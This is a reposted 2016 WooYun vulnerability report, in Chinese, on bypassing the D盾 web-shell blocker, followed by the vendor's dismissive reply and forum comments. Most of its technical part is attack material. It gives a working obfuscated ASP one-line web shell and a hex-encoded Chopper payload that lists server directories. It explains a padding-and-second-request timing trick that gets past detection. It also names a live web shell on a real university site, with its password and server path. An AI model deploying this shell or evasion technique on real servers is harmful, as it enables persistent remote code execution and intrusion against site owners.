D盾一句话动态代码执行拦截bypass

admin 2017年5月2日11:54:59评论555 views字数 233阅读0分46秒阅读模式
摘要

2016-03-10: 细节已通知厂商并且等待厂商处理中
2016-03-10: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-03-10: 厂商已经主动忽略漏洞,细节向公众公开

漏洞概要 关注数(45) 关注此漏洞

缺陷编号: WooYun-2016-172065

漏洞标题: D盾一句话动态代码执行拦截bypass

相关厂商: d99net.net

漏洞作者: RedFree

提交时间: 2016-03-10 16:46

公开时间: 2016-03-10 17:19

漏洞类型: 设计缺陷/逻辑错误

危害等级: 中

自评Rank: 5

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 逻辑错误 设计不当 D盾

11人收藏


漏洞详情

披露状态:

2016-03-10: 细节已通知厂商并且等待厂商处理中
2016-03-10: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-03-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

D盾拦掉了一句话对传入的动态脚本的执行,然而我们可以以奇葩的姿势来绕过

详细说明:

一句话地址:http://sjxy.ycu.jx.cn/upfiles/Media/d2.asp 密码:z 普通的菜刀是连接不上滴。

代码如下:

code 区域
<%
Function decode(ByVal s, ByVal key)
For i = 1 To Len(s) Step 2
c = Mid(s, i, 2)
k = (i + 1) / 2 Mod Len(key) + 1
p = Mid(key, k, 1)
If IsNumeric(Mid(s, i, 1)) Then
decode = decode & Chr(("&H" & c) - p)
Else
decode = decode & Chr("&H" & c & Mid(s, i + 2, 2))
i = i + 2
End If
Next
End Function
Execute decode("4A7A6C6C7A766C3169676A7869672F7B6A737C6E78762F2B7F2430357767787E6A757B31276D6C82272B3032","9527")
%>

也就是把传入的参数z经过decode函数解码后执行。

把Response.Write(2333333+1)编码后(526573706F6E73652E577269746528323333333333332B3129)执行,效果如图:

D盾一句话动态代码执行拦截bypass

但当我们把菜刀的数据包编码后执行确被无情地拦截掉了:

编码前代码:

code 区域
Response.Write("->|"):Dim RR:RR=decode(Request("k1"),Request("key")):Function FD(dt):FD=Year(dt)&"-":If Len(Month(dt))=1 Then:FD = FD&"0":End If:FD=FD&Month(dt)&"-":If Len(Day(dt))=1 Then:FD=FD&"0":End If:FD=FD&Day(dt)&" "&FormatDateTime(dt,4)&":":If Len(Second(dt))=1 Then:FD=FD&"0":End If:FD=FD&Second(dt):End Function:SET C=CreateObject("Scripting.FileSystemObject"):Set FO=C.GetFolder(""&RR&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:Else:For Each F in FO.subfolders:Response.Write F.Name:Next:For Each L in FO.files:Response.Write L.Name:Next:End If:Response.Write("|<-"):Response.End

编码后:

code 区域
526573706F6E73652E577269746528222D3E7C22293A44696D2052523A52523D6465636F6465285265717565737428226B3122292C5265717565737428226B65792229293A46756E6374696F6E204644286474293A46443D596561722864742926222D223A4966204C656E284D6F6E746828647429293D31205468656E3A4644203D204644262230223A456E642049663A46443D4644264D6F6E74682864742926222D223A4966204C656E2844617928647429293D31205468656E3A46443D4644262230223A456E642049663A46443D464426446179286474292622202226466F726D61744461746554696D652864742C342926223A223A4966204C656E285365636F6E6428647429293D31205468656E3A46443D4644262230223A456E642049663A46443D4644265365636F6E64286474293A456E642046756E6374696F6E3A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A53657420464F3D432E476574466F6C646572282222265252262222293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456C73653A466F722045616368204620696E20464F2E737562666F6C646572733A526573706F6E73652E577269746520462E4E616D653A4E6578743A466F722045616368204C20696E20464F2E66696C65733A526573706F6E73652E5772697465204C2E4E616D653A4E6578743A456E642049663A526573706F6E73652E577269746528227C3C2D22293A526573706F6E73652E456E64

D盾一句话动态代码执行拦截bypass

数据包中已没有任何关键字,显然D盾的拦截不是在传输的过程中,D盾已可以在代码解码执行时检测到代码对一些敏感方法的调用,如FSO等组件。

但当我不以动态的方式去执行代码时(写到服务器Web目录中),却可以成功获得结果。

D盾一句话动态代码执行拦截bypass

在梳理了整个过程后,可以作出的结论是D盾检查了最终执行的动态代码的内容(无论用户如何[加密]),但同样可以得出的结论是这样的检测会消耗一定的系统资源。那么如何尽可能地减少资源消耗呢?最终的测试显示,D盾检测了用户的每一个请求,但在检测后面的请求时同时会终止对前面所有请求的检查。

因此一个绕过方案就诞生了,我们把第一个请求的包的动态代码构造的足够多,占用些检测时间。保证第一个请求中的动态代码还未被完成检测时,再发出第二个请求(第二个请求不包含任何动态代码GET网站的任意URL即可),那么对第一个请求的检查还未来的及检查完成就被放过去了。(注:我的方法是在动态代码前加很多0A[换行]来消耗检测时间)

第一个请求:

http://sjxy.ycu.jx.cn/upfiles/Media/d2.asp

POST

code 区域
z=0A0A....省略很多0A0A.....526573706F6E73652E577269746528222D3E7C22293A44696D2052523A52523D6465636F6465285265717565737428226B3122292C5265717565737428226B65792229293A46756E6374696F6E204644286474293A46443D596561722864742926222D223A4966204C656E284D6F6E746828647429293D31205468656E3A4644203D204644262230223A456E642049663A46443D4644264D6F6E74682864742926222D223A4966204C656E2844617928647429293D31205468656E3A46443D4644262230223A456E642049663A46443D464426446179286474292622202226466F726D61744461746554696D652864742C342926223A223A4966204C656E285365636F6E6428647429293D31205468656E3A46443D4644262230223A456E642049663A46443D4644265365636F6E64286474293A456E642046756E6374696F6E3A53455420433D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A53657420464F3D432E476574466F6C646572282222265252262222293A496620457272205468656E3A526573706F6E73652E577269746528224552524F523A2F2F2022264572722E4465736372697074696F6E293A4572722E436C6561723A456C73653A466F722045616368204620696E20464F2E737562666F6C646572733A526573706F6E73652E577269746520462E4E616D653A4E6578743A466F722045616368204C20696E20464F2E66696C65733A526573706F6E73652E5772697465204C2E4E616D653A4E6578743A456E642049663A526573706F6E73652E577269746528227C3C2D22293A526573706F6E73652E456E64&key=00000&k1=443A5C63616D7075735C736A78795C77656232303134303632362D335C757066696C65735C4D656469615C

第二个请求:直接GET请求http://sjxy.ycu.jx.cn/upfiles/Media/d2.asp

直接发送POST被拦截:

D盾一句话动态代码执行拦截bypass

按上面的方法,成功执行了动态代码:

D盾一句话动态代码执行拦截bypass

漏洞证明:

D盾一句话动态代码执行拦截bypass

D盾一句话动态代码执行拦截bypass

修复方案:

逻辑

版权声明:转载请注明来源 RedFree@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-03-10 17:19

厂商回复:

D盾 一句话是行为触发,并不是检测字符来做检测的,暂时未知道白帽子使用的 D盾 版本和情况,默认应该不会出现这情况,早期版本第一次加载是没有HOOK好一句话关键位置可能会出现这情况,新版本不应该有这情况发生。

欢迎技术宅指正,用户的安全更重要,如有什么需要更正的,可以和我联系 啊d QQ:

漏洞Rank:8 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):

登陆后才能进行评分

100%

0%

0%

0%

0%


评价

  1. 2016-03-10 09:07 | 永不言弃 ( 路人 | Rank:19 漏洞数:8 | 敏锐者)

    3

    求牛逼菜刀

  2. 2016-03-10 19:56 | 老实先生 ( 普通白帽子 | Rank:228 漏洞数:75 | 专业承揽工程刮大白,外墙涂料,外墙保温,...)

    2

    不要为难我们的啊D哥

  3. 2016-03-10 21:44 | Post ( 路人 | Rank:28 漏洞数:12 | 本人所到之处,必定留下一坨凶残表情(#‵′...)

    2

    @迪元素科技有限公司 我认为kali下最好用的就是阿D,看到我说这句话勇气,阿D哥你给我乌云号转几个wb呗。

  4. 2016-03-10 21:54 | 老实先生 ( 普通白帽子 | Rank:228 漏洞数:75 | 专业承揽工程刮大白,外墙涂料,外墙保温,...)

    3

    windows下最好用的是啊D,kali下是明小子

  5. 2016-03-11 14:02 | √ ★云飞☆ ( 路人 | Rank:5 漏洞数:2 | #############################)

    2

    牛叉

  6. 2016-03-11 20:29 | 我是小号6 ( 实习白帽子 | Rank:46 漏洞数:29 )

    2

    @老实先生 http://www.qxzxp.com/203.html回复是亮点

  7. 2016-03-11 21:14 | 老实先生 ( 普通白帽子 | Rank:228 漏洞数:75 | 专业承揽工程刮大白,外墙涂料,外墙保温,...)

    1

    @我是小号6 没看到亮点啊

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin